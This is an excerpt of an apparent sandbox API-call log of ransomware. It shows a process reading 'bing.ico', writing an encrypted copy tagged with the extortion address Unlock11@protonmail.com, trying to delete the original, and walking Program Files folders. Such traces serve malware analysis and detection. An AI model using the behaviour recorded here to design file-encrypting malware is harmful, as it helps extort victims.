RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0124.531] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.532] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\images\\bing.ico", lpFilePart=0x9bada4*="bing.ico") returned 0x32 [0124.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.532] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536)) returned 1 [0124.532] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366478c | out: pbBuffer=0x366478c) returned 1 [0124.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0124.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0124.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0124.533] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.533] GetFileType (hFile=0x39c) returned 0x1 [0124.533] GetFileType (hFile=0x39c) returned 0x1 [0124.533] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.533] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.533] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.533] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.533] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.533] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.534] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.534] GetLastError () returned 0x0 [0124.534] GetCurrentThreadId () returned 0x9b0 [0124.534] GetLastError () returned 0x0 [0124.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265608 | out: hHeap=0x2ad0000) returned 1 [0124.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0124.534] GetLastError () returned 0x0 [0124.534] GetLastError () returned 0x0 [0124.534] GetLastError () returned 0x0 [0124.534] GetLastError () returned 0x0 [0124.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265538 [0124.535] GetLastError () returned 0x0 [0124.535] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.535] GetFileType (hFile=0x3ac) returned 0x1 [0124.535] GetLastError () returned 0x0 [0124.535] GetCurrentThreadId () returned 0x9b0 [0124.535] GetLastError () returned 0x0 [0124.535] GetFileType (hFile=0x3ac) returned 0x1 [0124.536] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.536] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.536] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.536] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.536] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.536] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.536] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.536] GetLastError () returned 0x0 [0124.536] GetCurrentThreadId () returned 0x9b0 [0124.536] GetLastError () returned 0x0 [0124.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265538 | out: hHeap=0x2ad0000) returned 1 [0124.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0124.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0124.537] GetLastError () returned 0x0 [0124.537] GetLastError () returned 0x0 [0124.537] GetCurrentThreadId () returned 0x9b0 [0124.537] GetLastError () returned 0x0 [0124.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.537] GetLastError () returned 0x0 [0124.537] GetLastError () returned 0x0 [0124.537] GetCurrentThreadId () returned 0x9b0 [0124.537] GetLastError () returned 0x0 [0124.537] GetLastError () returned 0x0 [0124.539] GetLastError () returned 0x0 [0124.539] GetCurrentThreadId () returned 0x9b0 [0124.539] GetLastError () returned 0x0 [0124.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0124.540] GetCurrentThreadId () returned 0x9b0 [0124.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1558) returned 0x35c0a00 [0124.540] GetLastError () returned 0x0 [0124.540] GetLastError () returned 0x0 [0124.540] GetLastError () returned 0x0 [0124.540] GetLastError () returned 0x0 [0124.540] GetCurrentThreadId () returned 0x9b0 [0124.540] GetLastError () returned 0x0 [0124.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0124.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0124.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.541] GetLastError () returned 0x0 [0124.542] GetLastError () returned 0x0 [0124.542] GetCurrentThreadId () returned 0x9b0 [0124.542] GetLastError () returned 0x0 [0124.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c1f60 | out: hHeap=0x2ad0000) returned 1 [0124.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9aa8 [0124.542] GetLastError () returned 0x0 [0124.542] GetLastError () returned 0x0 [0124.542] GetCurrentThreadId () returned 0x9b0 [0124.542] GetLastError () returned 0x0 [0124.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9aa8 | out: hHeap=0x2ad0000) returned 1 [0124.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.543] GetLastError () returned 0x0 [0124.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.543] CloseHandle (hObject=0x3ac) returned 1 [0124.543] GetLastError () returned 0x0 [0124.543] GetCurrentThreadId () returned 0x9b0 [0124.543] GetLastError () returned 0x0 [0124.544] GetLastError () returned 0x0 [0124.544] CloseHandle (hObject=0x39c) returned 1 [0124.544] GetLastError () returned 0x0 [0124.544] GetCurrentThreadId () returned 0x9b0 [0124.544] GetLastError () returned 0x0 [0124.544] GetLastError () returned 0x0 [0124.544] GetLastError () returned 0x0 [0124.544] GetLastError () returned 0x0 [0124.544] GetLastError () returned 0x0 [0124.544] DeleteFileA (lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0 [0124.545] GetLastError () returned 0x5 [0124.545] GetCurrentThreadId () returned 0x9b0 [0124.545] GetLastError () returned 0x5 [0124.545] GetLastError () returned 0x5 [0124.545] GetLastError () returned 0x5 [0124.545] GetLastError () returned 0x5 [0124.545] LocalFree (hMem=0x1053a70) returned 0x0 [0124.545] GetCurrentThreadId () returned 0x9b0 [0124.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.546] GetLastError () returned 0x5 [0124.546] GetLastError () returned 0x5 [0124.546] GetLastError () returned 0x5 [0124.546] GetLastError () returned 0x5 [0124.546] FindFirstFileA (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0124.546] GetLastError () returned 0x5 [0124.546] GetCurrentThreadId () returned 0x9b0 [0124.546] GetLastError () returned 0x5 [0124.546] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.546] GetLastError () returned 0x5 [0124.547] GetCurrentThreadId () returned 0x9b0 [0124.547] GetLastError () returned 0x5 [0124.547] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="install.ins", cAlternateFileName="")) returned 1 [0124.547] GetLastError () returned 0x5 [0124.547] GetCurrentThreadId () returned 0x9b0 [0124.547] GetLastError () returned 0x5 [0124.547] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="install.ins", cAlternateFileName="")) returned 0 [0124.547] GetLastError () returned 0x12 [0124.547] GetCurrentThreadId () returned 0x9b0 [0124.547] GetLastError () returned 0x12 [0124.547] GetLastError () returned 0x12 [0124.547] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0124.548] GetCurrentThreadId () returned 0x9b0 [0124.548] GetLastError () returned 0x12 [0124.548] GetLastError () returned 0x12 [0124.548] GetLastError () returned 0x12 [0124.548] GetLastError () returned 0x12 [0124.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0124.548] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0124.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0124.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0124.550] GetLastError () returned 0x12 [0124.550] GetLastError () returned 0x12 [0124.550] GetLastError () returned 0x12 [0124.550] GetLastError () returned 0x12 [0124.550] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins", lpFilePart=0x9bada4*="install.ins") returned 0x35 [0124.550] GetCurrentThreadId () returned 0x9b0 [0124.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0124.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0124.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0124.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0124.551] GetCurrentThreadId () returned 0x9b0 [0124.551] GetLastError () returned 0x12 [0124.551] GetLastError () returned 0x12 [0124.551] GetLastError () returned 0x12 [0124.551] GetLastError () returned 0x12 [0124.551] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0124.552] GetLastError () returned 0x12 [0124.552] GetCurrentThreadId () returned 0x9b0 [0124.552] GetLastError () returned 0x12 [0124.552] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.552] GetLastError () returned 0x12 [0124.552] GetCurrentThreadId () returned 0x9b0 [0124.552] GetLastError () returned 0x12 [0124.552] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0124.552] GetLastError () returned 0x12 [0124.553] GetCurrentThreadId () returned 0x9b0 [0124.553] GetLastError () returned 0x12 [0124.553] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0124.553] GetLastError () returned 0x12 [0124.553] GetCurrentThreadId () returned 0x9b0 [0124.553] GetLastError () returned 0x12 [0124.553] GetLastError () returned 0x12 [0124.553] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0124.553] GetCurrentThreadId () returned 0x9b0 [0124.553] GetLastError () returned 0x12 [0124.553] GetLastError () returned 0x12 [0124.553] GetLastError () returned 0x12 [0124.554] GetLastError () returned 0x12 [0124.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0124.554] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144" (normalized: "c:\\program files\\java\\jre1.8.0_144")) returned 0x30 [0124.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0124.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.562] GetLastError () returned 0x12 [0124.562] GetLastError () returned 0x12 [0124.562] GetLastError () returned 0x12 [0124.563] GetLastError () returned 0x12 [0124.563] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0124.563] GetLastError () returned 0x12 [0124.563] GetCurrentThreadId () returned 0x9b0 [0124.563] GetLastError () returned 0x12 [0124.563] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.563] GetLastError () returned 0x12 [0124.563] GetCurrentThreadId () returned 0x9b0 [0124.563] GetLastError () returned 0x12 [0124.564] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="bin", cAlternateFileName="")) returned 1 [0124.564] GetLastError () returned 0x12 [0124.564] GetCurrentThreadId () returned 0x9b0 [0124.564] GetLastError () returned 0x12 [0124.564] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0124.564] GetLastError () returned 0x12 [0124.564] GetCurrentThreadId () returned 0x9b0 [0124.564] GetLastError () returned 0x12 [0124.564] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="lib", cAlternateFileName="")) returned 1 [0124.564] GetLastError () returned 0x12 [0124.564] GetCurrentThreadId () returned 0x9b0 [0124.564] GetLastError () returned 0x12 [0124.564] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0124.565] GetLastError () returned 0x12 [0124.565] GetCurrentThreadId () returned 0x9b0 [0124.565] GetLastError () returned 0x12 [0124.565] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="README.txt", cAlternateFileName="")) returned 1 [0124.565] GetLastError () returned 0x12 [0124.565] GetCurrentThreadId () returned 0x9b0 [0124.565] GetLastError () returned 0x12 [0124.565] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0124.565] GetLastError () returned 0x12 [0124.565] GetCurrentThreadId () returned 0x9b0 [0124.565] GetLastError () returned 0x12 [0124.565] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0124.565] GetLastError () returned 0x12 [0124.566] GetCurrentThreadId () returned 0x9b0 [0124.566] GetLastError () returned 0x12 [0124.566] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0124.566] GetLastError () returned 0x12 [0124.566] GetCurrentThreadId () returned 0x9b0 [0124.566] GetLastError () returned 0x12 [0124.566] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0124.566] GetLastError () returned 0x12 [0124.566] GetCurrentThreadId () returned 0x9b0 [0124.566] GetLastError () returned 0x12 [0124.566] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, 